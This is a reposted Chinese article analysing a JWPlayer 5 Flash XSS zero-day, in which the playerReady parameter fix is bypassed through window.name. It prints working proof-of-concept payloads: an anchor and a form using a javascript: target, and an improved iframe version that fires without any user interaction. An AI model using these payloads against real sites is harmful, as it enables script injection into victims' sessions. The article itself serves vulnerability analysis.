加入收藏 | 设为首页 | 会员中心 | 我要投稿 PHP编程网 - 黄冈站长网 (http://www.0713zz.com/)- 数据应用、建站、人体识别、智能机器人、语音技术!
当前位置: 首页 > 运营中心 > 交互 > 正文

JWPlayer 5最新SWF XSS 0day分析及POC改进

发布时间:2016-11-21 11:51:04 所属栏目:交互 来源:站长网
导读:4月16号,国外公布了jwplayer一个未修复的XSS 0day。jwplayer是全球范围内目前应用最广泛的flash播放组件,特别是国外众多在线爱情动作片网站。此前jwplayer曾爆出过一个XSS漏洞,影响非常广泛。 根据老外的描述,这次的问题主要是因为之前一个XSS漏洞没有

4月16号,国外公布了jwplayer一个未修复的XSS 0day。jwplayer是全球范围内目前应用最广泛的flash播放组件,特别是国外众多在线爱情动作片网站。此前jwplayer曾爆出过一个XSS漏洞,影响非常广泛。

根据老外的描述,这次的问题主要是因为之前一个XSS漏洞没有修复完全,导致bypass再利用。原始的问题是playerReady参数值未做过滤直接进入ExternalInterface.call导致可以执行任意JS代码。在经过官方的两次小版本补丁后,这个问题最终的修复方案是禁止playerReady参数值中存在{}和()符号。而这种简单的修复是可以被绕过的。

原文给出的POC:

<h2>Example 1:</h2>

<p>This example simply uses javascript:alert(1) as the value in window.name</p>

<p><a target="javascript:alert(1)" href="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b">Click Me</a></p>

JWPlayer 5最新SWF XSS 0day分析及POC改进

这里用到了两个特性,一个是a标签target的framename,一个是window.name的跨域传递的特性。在a等其他可以使用的target属性的标签中我们常用的是_blank,_parent,_self,_top四个值,而framename我们很少用到。framename相当于指定一个窗口的名称并将文档重定向到该窗口中进行处理,因此framename就相当于window.name。

这个POC就在a标签中用javascript:alert(1)伪协议作为了framename,漏洞URL指定location为window.name也就触发了url。我们同样可以用form等其他支持target属性的标签来构造poc:

<form action="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b" method="post" target="javascript:alert(1)">

<button type="submit">登录</button>

</form>

但这种POC是需要交互的,就比较鸡肋了,其实我们可以改进成不需要用户交互的形式。既然framename是窗口的名称,那我们可以直接使用iframe并指定name为javascript:alert(1)。

<iframe name="javascript:alert(document.domain)"

src="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b">

</iframe>

JWPlayer 5最新SWF XSS 0day分析及POC改进

这样我们的POC就可以自动触发了。

【编辑推荐】

(编辑:PHP编程网 - 黄冈站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读